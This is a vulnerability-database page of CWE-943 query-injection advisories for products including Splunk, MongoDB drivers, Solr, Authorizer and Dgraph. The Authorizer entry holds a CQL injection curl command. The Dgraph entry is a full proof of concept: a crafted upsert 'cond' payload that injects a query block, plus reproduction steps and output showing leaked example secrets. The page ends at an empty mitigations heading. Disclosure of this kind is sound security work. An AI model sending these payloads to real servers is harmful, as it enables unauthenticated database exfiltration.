CWE-943
Allowed-with-ReviewImproper Neutralization of Special Elements in Data Query Logic
Abstraction: Class · Status: Incomplete
The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.
225 vulnerabilities reference this CWE, most recent first.
GHSA-HWG8-FP58-GMXJ
Vulnerability from github – Published: 2026-08-20 00:34 – Updated: 2026-08-20 00:34In Splunk Enterprise versions below 10.4.2, 10.2.6, 10.0.9, 9.4.14, and 9.3.14, an unauthenticated user could cause another user to dispatch arbitrary Search Processing Language (SPL) pipelines from Dataset Explorer with the same privileges as that user, which can allow for access to all relevant data and system integrity available to that user and affect system availability. The vulnerability is possible because Dataset Explorer does not validate or escape dataset names before building SPL searches and does not apply SPL safeguards for risky commands to those searches. The vulnerability requires the attacker to phish the user by tricking them into opening the crafted link. The unauthenticated user should not be able to exploit the vulnerability at will. For more information see Explore a dataset (https://help.splunk.com/en/splunk-enterprise/manage-knowledge-objects/knowledge-management-manual/10.4/manage-and-explore-datasets/explore-a-dataset) and SPL safeguards for risky commands (https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.4/best-practices-for-splunk-platform-security/spl-safeguards-for-risky-commands) in the Splunk documentation.
{
"affected": [],
"aliases": [
"CVE-2026-76254"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-19T22:17:13Z",
"severity": "HIGH"
},
"details": "In Splunk Enterprise versions below 10.4.2, 10.2.6, 10.0.9, 9.4.14, and 9.3.14, an unauthenticated user could cause another user to dispatch arbitrary Search Processing Language (SPL) pipelines from Dataset Explorer with the same privileges as that user, which can allow for access to all relevant data and system integrity available to that user and affect system availability. The vulnerability is possible because Dataset Explorer does not validate or escape dataset names before building SPL searches and does not apply SPL safeguards for risky commands to those searches. The vulnerability requires the attacker to phish the user by tricking them into opening the crafted link. The unauthenticated user should not be able to exploit the vulnerability at will. For more information see Explore a dataset (https://help.splunk.com/en/splunk-enterprise/manage-knowledge-objects/knowledge-management-manual/10.4/manage-and-explore-datasets/explore-a-dataset) and SPL safeguards for risky commands (https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.4/best-practices-for-splunk-platform-security/spl-safeguards-for-risky-commands) in the Splunk documentation.",
"id": "GHSA-hwg8-fp58-gmxj",
"modified": "2026-08-20T00:34:55Z",
"published": "2026-08-20T00:34:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76254"
},
{
"type": "WEB",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0801"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J7J2-RRXF-5XVF
Vulnerability from github – Published: 2026-09-10 18:31 – Updated: 2026-09-10 18:31Improper neutralization of regular-expression metacharacters in the LINQ query translation component of the MongoDB C# Driver can cause a caller-supplied character sequence to alter a regular-expression predicate generated by an affected application. An authenticated user who can influence such a value may cause the application to return records beyond those intended by the original filter.
{
"affected": [],
"aliases": [
"CVE-2026-88026"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-10T18:18:12Z",
"severity": "HIGH"
},
"details": "Improper neutralization of regular-expression metacharacters in the LINQ query translation component of the MongoDB C# Driver can cause a caller-supplied character sequence to alter a regular-expression predicate generated by an affected application. An authenticated user who can influence such a value may cause the application to return records beyond those intended by the original filter.",
"id": "GHSA-j7j2-rrxf-5xvf",
"modified": "2026-09-10T18:31:48Z",
"published": "2026-09-10T18:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88026"
},
{
"type": "WEB",
"url": "https://jira.mongodb.org/browse/CSHARP-6177"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J7MC-F926-6V4Q
Vulnerability from github – Published: 2026-08-25 09:30 – Updated: 2026-08-25 09:30The extension passes the user-supplied search query parameter to Apache Solr without restricting advanced Solr query syntax such as wildcards, field selectors and range queries. A remote, unauthenticated attacker can use this syntax to enumerate indexed field names and extract their stored values through boolean- and range-based blind extraction techniques, independent of any site-specific configuration.
{
"affected": [],
"aliases": [
"CVE-2026-56096"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-25T09:17:31Z",
"severity": "MODERATE"
},
"details": "The extension passes the user-supplied search query parameter to Apache Solr without restricting advanced Solr query syntax such as wildcards, field selectors and range queries. A remote, unauthenticated attacker can use this syntax to enumerate indexed field names and extract their stored values through boolean- and range-based blind extraction techniques, independent of any site-specific configuration.",
"id": "GHSA-j7mc-f926-6v4q",
"modified": "2026-08-25T09:30:38Z",
"published": "2026-08-25T09:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56096"
},
{
"type": "WEB",
"url": "https://typo3.org/security/advisory/typo3-ext-sa-2026-025"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JCW9-P6MM-H9PJ
Vulnerability from github – Published: 2026-09-10 18:31 – Updated: 2026-09-10 18:31Improper neutralization of special elements in data query logic in the MongoDB integration for Laravel can cause an array supplied to an explicit equality filter to be interpreted as a query condition rather than as a literal value. This affects the three-argument where method when the operator is = or eq, as well as the find and delete methods that use that code path. An attacker who can cause an affected application to supply an operator-shaped array to one of these APIs may obtain a document other than the intended target or delete documents beyond the intended target.
{
"affected": [],
"aliases": [
"CVE-2026-88022"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-10T18:18:12Z",
"severity": "HIGH"
},
"details": "Improper neutralization of special elements in data query logic in the MongoDB integration for Laravel can cause an array supplied to an explicit equality filter to be interpreted as a query condition rather than as a literal value. This affects the three-argument `where` method when the operator is `=` or `eq`, as well as the `find` and `delete` methods that use that code path. An attacker who can cause an affected application to supply an operator-shaped array to one of these APIs may obtain a document other than the intended target or delete documents beyond the intended target.",
"id": "GHSA-jcw9-p6mm-h9pj",
"modified": "2026-09-10T18:31:48Z",
"published": "2026-09-10T18:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88022"
},
{
"type": "WEB",
"url": "https://jira.mongodb.org/browse/PHPLARA-260"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JFWG-RXF3-P7R9
Vulnerability from github – Published: 2026-04-06 17:56 – Updated: 2026-04-06 17:56Vulnerability Details
CWE: CWE-943 - Improper Neutralization of Special Elements in Data Query Logic
All 66+ CQL queries in internal/storage/db/cassandradb/ use fmt.Sprintf to interpolate user-controlled values directly into CQL query strings without parameterization.
Unauthenticated endpoints (signup, login, forgot_password, magic_link_login) pass user input directly into CQL query strings.
Note: This advisory covers the Cassandra CQL injection only. The Couchbase N1QL injection is tracked in a separate advisory per CVE rule 4.2.11.
Affected Code Pattern
// Before (VULNERABLE) - e.g. cassandradb/user.go
query := fmt.Sprintf("SELECT ... FROM %s WHERE email = '%s'", table, email)
err := p.db.Query(query).Scan(...)
Steps to Reproduce
- Deploy Authorizer <= 2.0.0 with Cassandra backend
- Send a signup request with a CQL injection payload in the email field:
curl -X POST http://localhost:8080/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"mutation { signup(params: { email: \"test'\" }) { message } }"}'
- The single quote breaks out of the CQL string literal, causing a CQL parse error that leaks internal schema information
- Crafted payloads can manipulate query logic to bypass authentication or extract data
Affected Files (10 Cassandra files)
| Package | File | Queries Fixed |
|---|---|---|
| cassandradb | user.go | 7 |
| cassandradb | otp.go | 4 |
| cassandradb | session_token.go | 19 |
| cassandradb | verification_requests.go | 4 |
| cassandradb | authenticator.go | 3 |
| cassandradb | email_template.go | 5 |
| cassandradb | webhook.go | 5 |
| cassandradb | webhook_log.go | 2 |
| cassandradb | session.go | 1 |
| cassandradb | env.go | 2 |
Impact
An unauthenticated attacker can inject arbitrary CQL operators through the email, phone, or token parameters on public-facing endpoints (signup, login, forgot_password, magic_link_login). This enables authentication bypass and data exfiltration from the Cassandra keyspace.
Proposed Fix
Use parameterized queries:
// After (FIXED)
query := fmt.Sprintf("SELECT ... FROM %s WHERE email = ?", table)
err := p.db.Query(query, email).Scan(...)
Fixed in https://github.com/authorizerdev/authorizer/pull/500 (merged 2026-03-27).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/authorizerdev/authorizer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260327055742-73679faa53cd"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-209",
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-06T17:56:31Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Vulnerability Details\n\n**CWE:** CWE-943 - Improper Neutralization of Special Elements in Data Query Logic\n\nAll 66+ CQL queries in `internal/storage/db/cassandradb/` use `fmt.Sprintf` to interpolate user-controlled values directly into CQL query strings without parameterization.\n\nUnauthenticated endpoints (`signup`, `login`, `forgot_password`, `magic_link_login`) pass user input directly into CQL query strings.\n\n**Note:** This advisory covers the Cassandra CQL injection only. The Couchbase N1QL injection is tracked in a separate advisory per CVE rule 4.2.11.\n\n## Affected Code Pattern\n\n```go\n// Before (VULNERABLE) - e.g. cassandradb/user.go\nquery := fmt.Sprintf(\"SELECT ... FROM %s WHERE email = \u0027%s\u0027\", table, email)\nerr := p.db.Query(query).Scan(...)\n```\n\n## Steps to Reproduce\n\n1. Deploy Authorizer \u003c= 2.0.0 with Cassandra backend\n2. Send a signup request with a CQL injection payload in the email field:\n\n```bash\ncurl -X POST http://localhost:8080/graphql \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"query\":\"mutation { signup(params: { email: \\\"test\u0027\\\" }) { message } }\"}\u0027\n```\n\n3. The single quote breaks out of the CQL string literal, causing a CQL parse error that leaks internal schema information\n4. Crafted payloads can manipulate query logic to bypass authentication or extract data\n\n## Affected Files (10 Cassandra files)\n\n| Package | File | Queries Fixed |\n|---------|------|--------------|\n| cassandradb | user.go | 7 |\n| cassandradb | otp.go | 4 |\n| cassandradb | session_token.go | 19 |\n| cassandradb | verification_requests.go | 4 |\n| cassandradb | authenticator.go | 3 |\n| cassandradb | email_template.go | 5 |\n| cassandradb | webhook.go | 5 |\n| cassandradb | webhook_log.go | 2 |\n| cassandradb | session.go | 1 |\n| cassandradb | env.go | 2 |\n\n## Impact\n\nAn unauthenticated attacker can inject arbitrary CQL operators through the email, phone, or token parameters on public-facing endpoints (signup, login, forgot_password, magic_link_login). This enables authentication bypass and data exfiltration from the Cassandra keyspace.\n\n## Proposed Fix\n\nUse parameterized queries:\n\n```go\n// After (FIXED)\nquery := fmt.Sprintf(\"SELECT ... FROM %s WHERE email = ?\", table)\nerr := p.db.Query(query, email).Scan(...)\n```\n\nFixed in https://github.com/authorizerdev/authorizer/pull/500 (merged 2026-03-27).",
"id": "GHSA-jfwg-rxf3-p7r9",
"modified": "2026-04-06T17:56:31Z",
"published": "2026-04-06T17:56:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authorizerdev/authorizer/security/advisories/GHSA-jfwg-rxf3-p7r9"
},
{
"type": "WEB",
"url": "https://github.com/authorizerdev/authorizer/pull/500"
},
{
"type": "WEB",
"url": "https://github.com/authorizerdev/authorizer/commit/73679faa53cd215c7524d651046e402c43809786"
},
{
"type": "PACKAGE",
"url": "https://github.com/authorizerdev/authorizer"
},
{
"type": "WEB",
"url": "https://github.com/authorizerdev/authorizer/releases/tag/2.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Authorizer: CQL/N1QL Injection in Cassandra and Couchbase Backends via fmt.Sprintf String Interpolation"
}
GHSA-JH92-GC65-PG86
Vulnerability from github – Published: 2026-07-08 21:30 – Updated: 2026-07-08 21:30Improper Neutralization of Special Elements in Data Query Logic vulnerability in Progress MOVEit Transfer (Custom Reports modules).
This issue affects MOVEit Transfer: before 2025.0.7, from 2025.1.0 before 2025.1.3.
{
"affected": [],
"aliases": [
"CVE-2026-8649"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-08T20:17:00Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Special Elements in Data Query Logic vulnerability in Progress MOVEit Transfer (Custom Reports modules).\n\nThis issue affects MOVEit Transfer: before 2025.0.7, from 2025.1.0 before 2025.1.3.",
"id": "GHSA-jh92-gc65-pg86",
"modified": "2026-07-08T21:30:29Z",
"published": "2026-07-08T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8649"
},
{
"type": "WEB",
"url": "https://docs.progress.com/bundle/moveit-transfer-release-notes-2026/page/Fixed-Issues-in-2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JM7G-M582-79Q7
Vulnerability from github – Published: 2026-01-13 03:32 – Updated: 2026-01-13 03:32Due to insufficient input handling, the SAP Identity Management REST interface allows an authenticated administrator to submit specially crafted malicious REST requests that are processed by JNDI operations without adequate input neutralization. This may lead to limited disclosure or modification of data, resulting in low impact on confidentiality and integrity, with no impact on application availability.
{
"affected": [],
"aliases": [
"CVE-2026-0504"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-13T02:15:53Z",
"severity": "LOW"
},
"details": "Due to insufficient input handling, the SAP Identity Management REST interface allows an authenticated administrator to submit specially crafted malicious REST requests that are processed by JNDI operations without adequate input neutralization. This may lead to limited disclosure or modification of data, resulting in low impact on confidentiality and integrity, with no impact on application availability.",
"id": "GHSA-jm7g-m582-79q7",
"modified": "2026-01-13T03:32:09Z",
"published": "2026-01-13T03:32:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0504"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3657998"
},
{
"type": "WEB",
"url": "https://url.sap/sapsecuritypatchday"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M8P4-WMG5-P4X3
Vulnerability from github – Published: 2026-09-10 18:31 – Updated: 2026-09-10 18:31Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB C# Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable. The affected rename operation may also rename a stored file other than the intended target.
{
"affected": [],
"aliases": [
"CVE-2026-88025"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-10T18:18:12Z",
"severity": "MODERATE"
},
"details": "Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB C# Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable. The affected rename operation may also rename a stored file other than the intended target.",
"id": "GHSA-m8p4-wmg5-p4x3",
"modified": "2026-09-10T18:31:48Z",
"published": "2026-09-10T18:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88025"
},
{
"type": "WEB",
"url": "https://jira.mongodb.org/browse/CSHARP-6190"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MM58-QXPF-V4C7
Vulnerability from github – Published: 2026-09-18 18:31 – Updated: 2026-09-18 18:31Mongoid does not restrict which query operators may come from caller-supplied filter data when an application hands that data to its query-building methods. In an application that forwards externally supplied filter parameters in this way, a party with no credentials may influence how the database evaluates the query. This may result in unintended disclosure of stored field values and in reduced database performance.
{
"affected": [],
"aliases": [
"CVE-2026-93760"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-18T18:18:34Z",
"severity": "HIGH"
},
"details": "Mongoid does not restrict which query operators may come from caller-supplied filter data when an application hands that data to its query-building methods. In an application that forwards externally supplied filter parameters in this way, a party with no credentials may influence how the database evaluates the query. This may result in unintended disclosure of stored field values and in reduced database performance.",
"id": "GHSA-mm58-qxpf-v4c7",
"modified": "2026-09-18T18:31:44Z",
"published": "2026-09-18T18:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-93760"
},
{
"type": "WEB",
"url": "https://jira.mongodb.org/browse/MONGOID-5994"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MRXX-39G5-PH77
Vulnerability from github – Published: 2026-04-24 15:41 – Updated: 2026-05-04 20:081. Executive Summary
A vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled.
The attack is a single HTTP POST to /mutate?commitNow=true containing a crafted cond field in an upsert mutation. The cond value is concatenated directly into a DQL query string via strings.Builder.WriteString after only a cosmetic strings.Replace transformation. No escaping, parameterization, or structural validation is applied. An attacker injects an additional DQL query block into the cond string, which the DQL parser accepts as a syntactically valid named query block. The injected query executes server-side and its results are returned in the HTTP response.
There are no credentials involved. When ACL is disabled (the default), the /mutate endpoint requires no authentication. The authorizeQuery and authorizeMutation functions both return nil immediately when AclSecretKey is not configured. Even when ACL is enabled, a user with mutation-only permission can inject read queries that bypass per-predicate ACL authorization, because the injected query block is not subject to the normal authorization flow.
POC clip:
https://github.com/user-attachments/assets/edf43615-b0d5-46cd-abd9-2cb9423790d2
2. CVSS Score
CVSS 3.1: 9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network | HTTP POST to port 8080 |
| Attack Complexity | Low | Single request, no special conditions beyond default config |
| Privileges Required | None | No authentication when ACL is disabled (default) |
| User Interaction | None | Fully automated |
| Scope | Unchanged | Stays within the Dgraph data layer |
| Confidentiality | High | Full database exfiltration: all nodes, all predicates, all values |
| Integrity | High | The injection can also be used to manipulate upsert conditions, bypassing uniqueness constraints and conditional mutation logic |
| Availability | None | No denial of service |
3. Vulnerability Summary
| Field | Value |
|---|---|
| Title | Pre-Auth DQL Injection via Unsanitized Cond Field in Upsert Mutations |
| Type | Injection |
| CWE | CWE-943 (Improper Neutralization of Special Elements in Data Query Logic) |
| CVSS | 9.8 |
4. Target Information
| Field | Value |
|---|---|
| Project | Dgraph |
| Repository | https://github.com/dgraph-io/dgraph |
| Tested version | v25.3.0 |
| HTTP handler | dgraph/cmd/alpha/http.go line 345 (mutationHandler) |
| Cond extraction | dgraph/cmd/alpha/http.go line 413 (strconv.Unquote) |
| Cond passthrough | edgraph/server.go line 2011 (ParseMutationObject, copies mu.Cond verbatim) |
| Injection sink | edgraph/server.go line 750 (upsertQB.WriteString(cond)) |
| Only transformation | edgraph/server.go line 730 (strings.Replace(gmu.Cond, "@if", "@filter", 1)) |
| Auth bypass (query) | edgraph/access.go line 958 (authorizeQuery returns nil when AclSecretKey == nil) |
| Auth bypass (mutate) | edgraph/access.go line 788 (authorizeMutation returns nil when AclSecretKey == nil) |
| Response exfiltration | dgraph/cmd/alpha/http.go line 498 (mp["queries"] = json.RawMessage(resp.Json)) |
| HTTP port | 8080 (default) |
| Prerequisite | None. Default configuration. ACL disabled is the default. |
5. Test Environment
| Component | Version / Details |
|---|---|
| Host OS | macOS (darwin 25.3.0) |
| Dgraph | v25.3.0 via dgraph/dgraph:latest Docker image |
| Docker Compose | 1 Zero + 1 Alpha, default config, --security whitelist=0.0.0.0/0 |
| Python | 3.x with requests |
| Network | localhost (127.0.0.1) |
6. Vulnerability Detail
Location: edgraph/server.go lines 714-757 (buildUpsertQuery)
CWE: CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
The /mutate endpoint accepts JSON bodies containing a mutations array. Each mutation can include a cond field, intended for conditional upserts with syntax like @if(eq(name, "Alice")). This condition is supposed to be spliced into the DQL query as a @filter clause on a dummy var(func: uid(0)) block.
The handler at http.go:413 extracts the cond value via strconv.Unquote, which interprets \n as actual newlines but performs no sanitization:
mu.Cond, err = strconv.Unquote(string(condText.bs))
ParseMutationObject at server.go:2011 copies it verbatim:
res := &dql.Mutation{Cond: mu.Cond}
buildUpsertQuery at server.go:730 applies one cosmetic replacement then concatenates the raw string directly into the DQL query:
cond := strings.Replace(gmu.Cond, "@if", "@filter", 1)
// ...
x.Check2(upsertQB.WriteString(cond))
There is no escaping, no parameterization, no structural validation, and no character allowlist between the HTTP input and the query string concatenation.
An attacker crafts a cond value that closes the @filter(...) clause and opens an entirely new named query block:
@if(eq(name, "nonexistent"))
leak(func: has(dgraph.type)) { uid name email secret }
After buildUpsertQuery processes this, the resulting DQL is:
{
q(func: uid(0x1)) { uid }
__dgraph_upsertcheck_0__ as var(func: uid(0)) @filter(eq(name, "nonexistent"))
leak(func: has(dgraph.type)) { uid name email secret }
}
The DQL parser (dql.ParseWithNeedVars) accepts multiple query blocks within a single {} container. It parses leak(...) as a legitimate named query. The validateResult function at parser.go:740 only checks for duplicate aliases and explicitly skips var queries. The injected query uses a unique alias, so validation passes.
All three queries execute. The results of the injected leak block are serialized to JSON and returned to the attacker at http.go:498:
mp["queries"] = json.RawMessage(resp.Json)
The @if condition evaluates to false ("nonexistent" matches nothing), so the set mutation never actually writes data. The attack is a pure read disguised as a mutation. No data is modified.
7. Full Chain Explanation
The attacker has no Dgraph credentials and no prior access to the server.
Step 1. The attacker sends one HTTP request:
POST /mutate?commitNow=true HTTP/1.1
Host: TARGET:8080
Content-Type: application/json
{
"query": "{ q(func: uid(0x1)) { uid } }",
"mutations": [{
"set": [{"uid": "0x1", "dgraph.type": "Dummy"}],
"cond": "@if(eq(name, \"nonexistent\"))\n leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key gcp_service_account_key }"
}]
}
No X-Dgraph-AccessToken header. No X-Dgraph-AuthToken header. The /mutate endpoint has no authentication wrapper in default configuration.
Step 2. mutationHandler at http.go:345 calls readRequest to get the body, then extractMutation which calls strconv.Unquote on the cond field. The \n becomes a real newline. The result is stored in api.Mutation.Cond.
Step 3. The request enters edgraph.Server.QueryNoGrpc at http.go:471, which calls doQuery -> parseRequest -> ParseMutationObject. The Cond is copied verbatim to dql.Mutation.Cond at server.go:2011.
Step 4. buildUpsertQuery at server.go:714 processes the condition. The only transformation is strings.Replace(gmu.Cond, "@if", "@filter", 1) at line 730. The full string, including the injected leak(...) block, is written into the query builder at line 750.
Step 5. dql.ParseWithNeedVars parses the constructed DQL string. It encounters three query blocks: q, the upsert check var, and the injected leak. All three are accepted as valid DQL.
Step 6. authorizeQuery at access.go:958 returns nil immediately because AclSecretKey == nil (ACL not configured). No predicate-level authorization is performed.
Step 7. processQuery executes all three query blocks. The leak block traverses every node with a dgraph.type predicate and returns all requested fields.
Step 8. The response is returned to the attacker at http.go:498. The data.queries.leak array contains every matching node with all their predicates, including secrets, credentials, and PII.
8. Proof of Concept
Files
| File | Purpose |
|---|---|
| report.md | This vulnerability report |
| poc.py | Exploit: sends the injection and prints leaked data |
| docker-compose.yml | Spins up a Dgraph cluster (1 Zero + 1 Alpha, default config) |
| DGraphPreAuthDQL.mp4 | Screen recording of the full attack from start to exfiltration |
POC files zip: LEAD_001_DQL.zip
poc.py
The exploit sends a single POST to /mutate?commitNow=true with the crafted cond field. It parses the response and prints all exfiltrated records, highlighting secrets, AWS credentials, and GCP service account keys.
Tested Output
$ python3 poc.py
[*] Sending crafted upsert mutation with DQL injection in cond field …
[*] HTTP 200
[+] SUCCESS — Injected query returned 5 node(s):
[User] uid=0x1
name: Alice Admin
email: alice@corp.com
secret: SSN-123-45-6789
role: admin
[User] uid=0x2
name: Bob User
email: bob@corp.com
secret: SSN-987-65-4321
role: user
[User] uid=0x3
name: Eve Secret
email: eve@corp.com
secret: API_KEY_sk-live-abc123xyz
role: superadmin
[CloudCredential] uid=0x4
name: prod-aws-credentials
AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[CloudCredential] uid=0x5
name: gcp-bigquery-service-account
GCP_SERVICE_ACCOUNT_KEY: {"type":"service_account","project_id":"prod-analytics","private_key":"-----BEGI…
[+] CRITICAL — Exfiltrated 5 record(s) containing secrets via pre-auth DQL injection
→ 1 AWS credential(s) — attacker can access AWS account
→ 1 GCP service account key(s) — attacker can access GCP project
9. Steps to Reproduce
Prerequisites
- Python 3 with
requests(pip install requests) - Docker and Docker Compose
Step 1: Start Dgraph
cd report
docker compose -f docker-compose-test.yml up -d
Wait for health:
curl http://localhost:8080/health
Step 2: Seed test data
curl -s -X POST http://localhost:8080/alter -d '
name: string @index(exact) .
email: string @index(exact) .
secret: string .
role: string .
aws_access_key_id: string .
aws_secret_access_key: string .
gcp_service_account_key: string .
'
curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \
-H 'Content-Type: application/json' \
-d '{"set":[
{"dgraph.type":"User","name":"Alice Admin","email":"alice@corp.com","secret":"SSN-123-45-6789","role":"admin"},
{"dgraph.type":"User","name":"Bob User","email":"bob@corp.com","secret":"SSN-987-65-4321","role":"user"},
{"dgraph.type":"User","name":"Eve Secret","email":"eve@corp.com","secret":"API_KEY_sk-live-abc123xyz","role":"superadmin"},
{"dgraph.type":"CloudCredential","name":"prod-aws-credentials","aws_access_key_id":"AKIAIOSFODNN7EXAMPLE","aws_secret_access_key":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"},
{"dgraph.type":"CloudCredential","name":"gcp-bigquery-service-account","gcp_service_account_key":"{\"type\":\"service_account\",\"project_id\":\"prod-analytics\",\"private_key\":\"-----BEGIN RSA PRIVATE KEY-----\\nEXAMPLEKEY\\n-----END RSA PRIVATE KEY-----\",\"client_email\":\"bigquery@prod-analytics.iam.gserviceaccount.com\"}"}
]}'
Step 3: Run the exploit
cd LEAD_001_DQL
python3 poc.py
What to verify
- HTTP POST returns 200 (endpoint is reachable without auth)
- Response contains
data.queries.leakwith an array of nodes - The nodes include fields the attacker never queried through legitimate means (secrets, AWS keys, GCP keys)
- No data was modified in the database (the
@ifcondition prevents thesetfrom executing)
10. Mitigations and Patch
